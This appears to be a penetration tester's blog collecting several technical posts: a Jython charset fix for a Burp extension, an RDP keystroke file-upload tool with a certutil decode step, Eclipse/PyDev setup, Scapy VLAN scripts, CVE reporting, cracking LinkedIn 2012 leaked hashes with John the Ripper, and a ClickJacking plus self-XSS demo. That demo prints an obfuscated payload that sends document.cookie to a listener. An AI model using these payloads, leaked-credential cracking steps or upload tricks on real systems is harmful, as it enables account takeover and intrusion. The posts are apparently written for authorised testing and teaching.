Jython and it’s java.nio.charset.UnsupportedCharsetException


I have been working on an Extender for Burp Suite (a local proxy which allows you to check for common problems and security weaknesses). While the proxy is written in Java it is common for the Extender’s to be made in Python.

Jython is the glue that keeps Java and Python working. My Extender had the need to execute python so I redirected the Standard Out and Standard Error streams to a MessageConsole.

Redirecting Standard out and err

The code for doing this is shown below:

// Redirect standard out and err to the MessageConsole
MessageConsole console = new MessageConsole(this.output);
console.redirectErr(Color.RED, null)

Note: I might not leave this as the final product because I have just found this reference:


Which indicates that “setErr” and “setOut” might work better for me somehow. However, that is a side show.

With the above code if you click the “Execute” button you trigger an event handler with this code:

// Get the python code from the text area
String python = pythonTextArea.getText();

// Show user that something is happening
PythonInterpreter interp = new PythonInterpreter();

// Run the user python in the Jython interpreter.
// Close the interpreter

// Now our task is over show the user it is done.

Pretty simple; get me the python code, start an interpreter, execute, and close the interpreter.

UnsupportedCharsetException: cp0

Using the above code you will see that you get our pesky “UnsupportedCharsetException” on first execution of Jython as shown below:

That makes for an unsightly error. It is not a blocker because as you can see the JOptionPane displayed its message after. But an error appearing to users is going to erode their trust in your software. Particularly since this happens once per execution. After it is displayed it seems Jython then selects an OK character set and plays happy from there.

Looking into it the exception is because the Java Virtual Machine has not been launched with an appropriate run-time parameter. According to the reference below:


You should be able to fix the problem by launching your Java process like this:

java -jar <yourexecutable> -Dpython.console.encoding=UTF-8

There are other Console Choices available. But this seems to be a way to prevent the error. This is also the accepted answer on bug trackers and forums across the Internet.

It seems possible to use a “jython registry” to apply this setting but that means shipping files with your tool or making users create them. It seemed messy when what I guess we really want is a way to set the character set somehow as a property of instantiating the “PythonInterpreter” object. That doesn’t appear to be in the API so we can only dream of that.

The Right Solution

The legend that is Paj working over at PortSwigger these days fired in this nugget:

Which effectively is the programmatic interface to interacting with run-time parameters. This solution works perfectly when I tested it. The code for this is below:

System.setProperty("python.console.encoding", "UTF-8");

// Redirect standard out and err to the pythonOutput textpane
MessageConsole console = new MessageConsole(this.output);
console.redirectErr(Color.RED, null);

That got the job done right. If for some reason you are unable to use that. Then I have maintained my hilariously hacky solution which somewhat did the same job.

The Hacky Solution

In the realm of writing Burp Extenders I am not able to really influence how users launch their instance of Burp (so that -D approach is not likely). Nor would I imagine PortSwigger (the vendor) taking the time to cater for this edge case by making everybody launch burp a new way! Quite rightly too.

This means I came up with a hacky solution which avoids the errors for users:

// Here comes the dirty, dirty hack!
PythonInterpreter interp = new PythonInterpreter();
// Yup. Launch the interpreter and do nothing of significance
// Do it before setting up your STDOUT and STDERR redirects

// Redirect standard out and err to the pythonOutput textpane
MessageConsole console = new MessageConsole(this.output);
console.redirectErr(Color.RED, null);

I am going to need a shower. This feels particularly dirty even for me.

Folks from Google. You are welcome!

Uploading files to RDP when that is restricted

The short version:

  • A tool which works in Kali Linux which will “upload” a file to an RDP session.
  • Most of the time RDP allows one of “drag and drop”, “copy and paste”, or “mounting of your local hard drive”. So 99% of the time you do not need to do this at all!
  • When all other options are unavailable to you then you can always simply type the contents of any file you want. Then use built in tools on the target’s side to decode and then execute your uploaded file.

Get the tool here:


With an example usage embedded below:


This is a very old technique. All I have done is have a stab at making my own tool for doing this. I meet aspiring hackers who say they want to jump into coding, but don’t have any “ideas”. They seem unimpressed when I say write a port scanner.

If that is you then I say to you: re-invent the damn wheel!

Sometimes the wheel needs upgrading you know? Many of the tools we have now as the “goto” for something are about 17th in newness of technique. Any tool can be toppled by a better successor.

But world domination is not the goal. Implementing your own versions of old ideas is actually just for getting your skills in for the day you invent an entirely new wheel. It also teaches you how a thing works which is brilliant. At a job interview you will stand out if you actually know what the top tool does under the hood.

What I learned on this one

To make rdpupload I have learned:

  • argparse better (I have used this before)
  • how to simulate key presses in python
  • how to do a progress bar in a CLI
  • how to zip a file using python
  • how to play an mp3 in python

But most importantly I learned how a file upload may work by typing it, along with how to decode that on the server side easily.

Technique Used

The following summarises the techniques used:

Kali Side:

  1. Zip the file you want to upload (might save some characters depending on the file).
  2. Base64 encode that file (so every character we are going to use is available on a standard English Keyboard).
  3. Split the encoded file into chunks of size 256 characters (arbitrary length choice here).
  4. Spoof a keyboard typing each block of 256 characters until it is completed.
  5. Display a progress bar and optionally play the sound of a typewriter hammering away while the “upload” happens.

Victim Side:

  1. Place the cursor into “Notepad” within an RDP session.
  2. When the “upload” is complete save that as a “.txt” file.
  3. Open a command prompt and use “certutil.exe” to decode the base64 encoded file. The syntax for that is shown below.
  4. Use the zip feature of Windows to unpack the zip file.
  5. Profit.

The decoder on the server side relies on “certutil.exe”. Unless I am wrong this is available from Server 2003 upwards so is pretty useful for most use cases.

Syntax: certutil -decode <inputfile> <outputfile>

Example: certutil -decode nc.txt nc.zip

The decode command is also spat out on the Kali side for convenience once the upload is complete.

Using Eclipse + PyDev as an IDE for Python in Kali

I have been making more and more Python scripts in the last 4 years. I have always had sub-optimal environments for doing so. With no interest in a debate on the best text editor. What I really wanted was an IDE. One that I can understand is ideal. As it happened I have some experience of Eclipse and tonight I found “PyDev”.

PyDev is free, easy to install, and gives me code auto-completion which I have rarely had in my Pythonic adventures to date. I love me code auto-completion. I have had it in various editors. However, I trash my Kali VMs with such regularity that I’d rather have something with an easier install than things to backup.

I am installing into a fresh install of Kali 2017.1 here. Anything else and you may have a different experience.


All we need is eclipse and java 8. Install them as shown below:

apt-get install eclipse

apt-get install openjdk-8-jdk

When I did this Kali installed eclipse 3.8.1. This is not the latest. The newest PyDev works for later versions of eclipse. We need to install from the PyDev 4.X release stream. If you use the wrong release stream then PyDev will not show up in the GUI after installation.

Installing PyDev

Goto “Help” -> “Install New Software”

This will show you a screen where you can add a repository as shown:


Do the things in the number order above. To save you precious typing the Location is:


You now have to select your install as shown:


Follow the numbered steps again. Then click “Next” on the subsequent screen with the title “Install”.

At this point you will get the security warning prompts. This is because the package is self-signed:


It is risky. There is no doubt here that taking something with an insecure certificate is a risk. When I followed the official guide I got the same error but that was using a repository over plain-text HTTP. Neither of those cases is really up to snuff when it comes to security.

But this is an opensource project which is being made free of charge for the love of the community. So is the entire stack you are sitting on!

I rolled my risk o-meter and said my VM isn’t having customer data in it.

After the installation is complete Eclipse will restart. Then you can check that the installation worked by going to: “Window” -> “Preferences” -> PyDev.

If you have that PyDev menu there then you are all setup. Congratulations and now enjoy your Python Dev with code completion and everything you would want.


If you do not see the PyDev option under “Window” -> “Preferences”, then:

  1. You didn’t install java 8; or
  2. You didn’t install from the 4.X release stream of PyDev if you are using Eclipse 3.8.X

Or  you have a new problem I did not encounter during this setup.


Using Python and Scapy to hunt for VLAN IDs

A customer asked me to check for Cisco Discovery Protocol (CDP) based VLAN hopping on their LAN. It had been reported the year before and, while they hoped that it had been addressed, they wanted me to confirm that it had.

When pentesting it can often be the case that you are basically verifying the solutions to problems that some hacker from another company got to run riot with before.

Far from a burden, it gave me a chance to brush up a little bit. It got me to play with scapy a bit and so this post is basically so I can save my python code in-case I need it again, while sharing it in case it helps someone.

The easy tool for this has been Frogger for several years. It will conduct packet sniffing on an interface looking for CDP packets. Snarffle the VLAN IDs and some other information and then ask you exactly how you want to own a network.

I ran frogger and shock! No VLAN data and no CDP packets to play with. I optimistically increased the packet capture to 3 minutes and tried again. Nope…

Well I guess last years team had much more fun than me.

False Negatives

A thing to remember about Frogger is that if you are trying to run it inside a virtual machine then you might actually be getting false negatives here. Where a false negative is the absence of the vulnerability despite you doing almost the right thing to check for it.

The Readme.md for Frogger says this:

Notes for VMware. VLAN hopping generally (not just this script) can have issues within VMware if running the VM within Windows with certain Intel drivers. The Intel drivers strip off the tags before it reaches the VM. Either use an external USB ethernet card such as a DLink USB 2.0 DUB-E100 (old model 10/100 not gigabit) or boot into Backtrack nativiely from a USB stick. Intel has published a registry fix, to work on some models: http://www.intel.com/support/network/sb/CS-005897.htm – adding “MonitorMode” 1 to the registry does resolve the issue.”

I am paranoid about false negatives so I always run around with a USB Ethernet Device. I did use this for my run of frogger and so I was pretty much certain it was not a false negative.

Checking for the VLAN IDs

Earlier in the engagement I had captured around 2 hours worth of network traffic into a pcap file. This was done from my host OS and not from within my Kali VM. This would therefore have no doubt about capturing all the layer-2 juiciness. Since it was already sitting around why not use python to parse the pcap file and tell me any VLAN ID’s it contained?

You could use a wireshark filter (and I show you the expression at the end of this post). But I am doing things pythony more an more so lets get to scapy.

Enter the VLAN ID hunting script:

from scapy.all import *
from scapy.utils import *
import sys

if len(sys.argv)!=2:
   print sys.argv[0] + " <pcap_file>"

# If we get here we have a file
pcapfile = sys.argv[1]

# Loop through the file and check each packet
for pkt in pkts:
   if pkt.haslayer(Dot1Q):
      print "VLAN ID: " + str(pkt[Dot1Q].vlan)

For full disclosure the above is heavily based on a stack overflow answer here:


All I did was give it a usage and command line argument for re-usability.

I ran this against my 2 hours worth of packets and found not a single VLAN ID. So absolutely on that day, on that part of the network, there was no evidence of last years vulnerability. Well done to the customer they fixed a thing!

I beg the audiences indulgence for a sidebar

There is an episode of Red Dwarf where Dave Lister gets sick with a radioactively mutated virus. He meets characters that represent both his confidence, and his paranoia. Right about now I was listening to my inner US game show host (representing my confidence). I was thinking: job done CornerPirate. Job done.

Then my paranoia spoke up. You haven’t tried the above script against a PCAP where you knew there was a VLAN id. What if it didn’t work?

Generating a PCAP with VLAN IDs

So lets make a pcap file which has some VLAN IDs in there. Back to python and scapy:

from scapy.all import *
from scapy.utils import *
import sys

def usage():
   print "\nUsage:"
   print "\t" + sys.argv[0] + " <vlan id>"
if len(sys.argv)!=2:

if sys.argv[1].isdigit() == False:
   print "Specified VLAN ID is not a number"
# If we get here we have a vlan id to inject
vlanid = int(sys.argv[1])

# Craft a packet and send it
sendp(Ether(dst='ff:ff:ff:ff:ff:ff', src='11:22:33:44:55:66')/Dot1Q(vlan=vlanid)/IP(dst='', src='')/ICMP())

I ran the above with a few different numbers while using Wireshark to capture the packets. Visually I could now see there were definitely VLAN ID’s to be had as shown below:


Finding the VLAN ID using Wireshark Expression

The expression used was “vlan.id” which means “show packets which have a VLAN ID”. My 2 hours worth of packets resulted in zero packets for the same filter. My confidence was now building.

Rerunning my “check-vlan.py” script now showed the same results as Wireshark:


Listing out VLAN

So there you have it. I now know my script does what it intended to.



CVE-Offline to Word Reports

A common task when you are working with large amounts of vulnerabilities is a need to contextualise CVE (Common Vulnerability & Exposures). One mans slightly outdated Apache could be much worse than another for example depending on business risks.

What I do with something massively outdated is first make a comprehensive list of the CVE details in a spreadsheet. I then provide customers with raw statistics like: there were 22 with a CVSS score of 10.0 etc. You then want to narrow the field and find those with exploits etc.

The following video does not show you the analysis but it does show you how to use CVEOffline to get a table into word:

This has saved me lots of time but it has never really been documented effectively and a video seemed the easiest way for this.

Get CVE-Offline from github here:


I update the database monthly. The database is also integrated monthly into the release stream of ReportCompiler here:


ReportCompiler allows you to import vulnerabilities from Nessus and other VA scanners. You can select one or more vulnerability in RC’s tree view. Right Click and gain quick access to a spreadsheet of the CVEs references in those vulns.

Hope that helps.

John the Ripper vs LinkedIn 2012 Dump

When profiling an organisation you should at least check for their email domain within that data set. If any staff have used their work email address when they signed up to LinkedIn pre-2012, then you may have a quick win.

On several tests this year we have used this to authenticate to external corporate services such as: VPNs, or Outlook Web Access. Showing a) that password reuse is alive and well in 2017, and b) that our target users have not updated their work credentials in years!

You must obtain the raw data from the dump to do this. Google it, torrent it, beg or borrow it. It is widely obtainable, but I am not about to host the file myself.

Getting prepared

I downloaded the most recent Kali VM:

Which had a version of John the Ripper installed that supported the correct hashing format.

Finding Targets

Your first challenge is to find targets at your clients domain. A simple grep:

grep domain.org linkedin.txt >> targets.txt

Converting to Crackable File Format

The version of “linkedin.txt” that I have access to is formatted using colons to separate columns. The format seems to be:


For JTR to work for us here we need to match this format:


We can use the email address as the username so basically we need to get rid of the “id” portion. Which we can do simply using “cut”:

cat targets.txt | cut -d ":" -f 2-3 >> hashes.txt

Syntax for Wordlist based attack

To use a wordlist attack I used the command shown below:

john --wordlist=/path/to/wordfile --format=Raw-SHA1 hashes.txt

The key reason I am writing this down is I keep forgetting the “–format” part and it seems a little harder to Google for it than I hope each time!

Much Success!

Here is a picture of how effective even the rockyou.txt file can be. For one of the domains in the LinkedIn leak we cracked a whole load of passwords in seconds:


For people with slightly better passwords we have had success profiling that individual and making custom wordlists.

Hope that is of use to someone. It certainly will help me remember


Understanding ClickJacking

ClickJacking is a common flaw in most web applications which allows an attacker to execute actions within the session of their victim. The topic has been very well covered by OWASP at references [1] and [2] at the end of this article.

It is often misunderstood. The following points need to be kept in mind:

  • The user must be authenticated to the TARGET application or it must have some sensitive functionality in there worthy of attack.
  • It must be possible for the TARGET application to be loaded within an html “iframe” tag on another site.
  • The attacker must create an EXPLOIT web page and deliver it to the victim (using Phishing etc).
  • While the victim interacts with content at the EXPLOIT site, their interactions are being redirected to the TARGET application.

The key part is that the EXPLOIT site will present the victim with some content which will encourage them to interact with it. The iframe containing the TARGET site will be hidden in some fashion so that the victim is clueless that they are being exploited.

Additionally, you need to know that this is a “blind” attack by default. By this I mean that you will not have read access to the HTML within the TARGET page (unless that site has some form of self Cross-Site Scripting (XSS) — which is fun, so I will show later).

Think of this as Cross Site Request Forgery (CSRF) [3]. If you find something that can be executed on the target site, which is advantageous to an attacker, but it already has CSRF defences in place? This is the situation where ClickJacking can be your friend.

This post is not about how to actually exploit ClickJacking. It is about how to prove a site has a vulnerability while conducting a penetration test, or for developers to understand the same.

Questions you have to answer

To prove that a site would have an impact from ClickJacking, you need to answer these questions:

  1. Can the site be loaded within an iframe?
  2. Does the target site have something which is actually exploitable using ClickJacking techniques?

The first question is easily answered. Create an HTML file which includes the URL for the sensitive functionality within an iframe tag. The following would do that job:

<iframe src="http://target/function">/iframe>

Change the “src” to point to your juicy function (such as “change email address” or whatever). Save that into a “.html” file locally. Authenticate to the application in one tab of your browser and then open that local file.

If the site loads within the iframe then there are likely no defences in place.

The second question is the one that most people I have taught seem to struggle with. They get excited about seeing the target load in the iframe and rush off to report it!

Hold your horses folks. If there is nothing which would be of value to an attacker to exploit, then it would be a much lower risk. You want to review the website and look for things like:

  • Self-XSS (which is demoed later as a treat to you all).
  • Change Password form without current password required.
  • Change associated email address without current password required.
  • Like or upvote something by way of a click which could improve an attacker’s rating.

The list could be much much longer. Find something that has a security impact and only requires a couple of clicks, or some content controllable by the attacker to be pasted to execute.

If you don’t find functionality like that, then your customer needs to be told they should turn on ClickJacking defences as a matter of best practices. If you do find something then the impact needs to be set dependent on the risks of an attacker doing that to a victim.

That is my point made. The next bit is just for giggles.

Example: Chaining ClickJacking with Self-XSS

Tonight I found “XSSJacking” by dxa4481 on GitHub (see reference [4]). This pretty much did what I came here to show. So I started with that, and then modified it.

You can use ClickJacking to deliver XSS payloads into the session of a victim. This is useful when the way to exploit the XSS would be to literally type the exploit into a text field for example. Until ClickJacking these were basically considered unexploitable. Welcome to the party self-XSS!

I cloned XSSJacking using:

git clone https://github.com/dxa4481/XSSJacking.git

This is pretty simple and has the following files:

  1. index.html – this is the TARGET site.
  2. main.js – contains JavaScript used by index.html (TARGET) to trigger the self-xss.
  3. index2.html – this is the EXPLOIT site.

I wanted to modify these to create an example where I was able to hijack a cookie from TARGET site.

The following is the content of “index.html”:

        <script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
        <script src="main.js"></script>

	<!-- Added by cornerpirate to create a cookie -->
	document.cookie="secret="+new Date().getTime();

    <body ng-app="xssApp" ng-controller="mainController">
<textarea placeholer="Vulnerable to XSS" ng-model="textArea" ng-change="checkForAlert(textArea)" style="height:100%; width:100%;">

	<!-- Added by cornerpirate to create a div with id "exploitMe" in the page -->
<div id="exploitMe"></div>

To this I added a “div” tag with an id for easy accessing via JavaScript. The following is the content of “main.js”:

var redisApp = angular.module('xssApp', []);
redisApp.controller('mainController', ['$scope', function($scope) {
    $scope.checkForAlert = function(text){
	// Modified by cornerpirate to dangerously put
	// any text into the "innerHTML" of the "exploitMe" div.

I removed the safety from the original demo (because ‘you only live once’). Notice that I use the “innerHTML” of the div to set the “text” which was passed by angular. The following is the content of “index2.html”:

Enter your email below to register:
<textarea autofocus style="width:220px; height:35px;"></textarea>
Repeat your email:
<iframe style="width:230px; height:50px;" frameBorder="0" src=""></iframe>
<input type="submit"></input>
document.addEventListener('copy', function(e){
e.clipboardData.setData('text/plain', '\x3Cimg\x20src\x3D\x22x\x22\x20onerror\x3D\x22new\x20Image\x28\x29.src\x3D\x27http\x3A\x2f\x2flocalhost\x2fcookie\x3F\x27\x2bdocument.cookie\x22\x3E');
e.preventDefault(); // We want our data, not data from any selection, to be written to the clipboard

I modified the URL used by the iframe. This means that the TARGET site is running on TCP port 8080 of my Kali VM.

I also modified the payload which is pasted. That is hard to read so I have decoded it as below:

<img src="x" onerror="new Image().src='http://localhost/cookie?'+document.cookie">

This will simply run a script which will send back a cookie to a listener on localhost. To recap we have this situation:

  1. TARGET site running on TCP port 8080 of kali.
  2. EXPLOIT site running on TCP port 80 of kali
  3. ATTACKER is listening on localhost (yea this should be another server but different origin anyway for the PoC).

By separating the ports they are different origins meaning that ClickJacking will actually get us something.

The following video shows you this all being pulled together:

On the right are two python listeners which host the TARGET and EXPLOIT sites.

On the left is a web browser and ncat listener on localhost.

The steps in the video are:

  1. I refresh the users page on the TARGET site.
  2. I show that there is a cookie set on the TARGET site.
  3. I then  goto the EXPLOIT site and copy the text in the email field. Doing this actually places the XSS payload into the copy/paste buffer.
  4. When I paste into the “repeat your email” it is actually inside the iframe which contains the TARGET site.
  5. The self-XSS executes and you can see the secret cookie value was sent back to the attacker.

To recap: the first half is about what you must do to professionally be able to find ClickJacking. The second gives you an example of what an attack might look like. In the day job of a pentester it is unlikely that you will ever exploit ClickJacking. But for your knowledge of the subject it is best that you play with it.

One day a customer is going to ask and you should have a great answer for them.


[1] https://www.owasp.org/index.php/Clickjacking

[2] https://www.owasp.org/index.php/Clickjacking_Defense_Cheat_Sheet

[3] https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)

[4] https://github.com/dxa4481/XSSJacking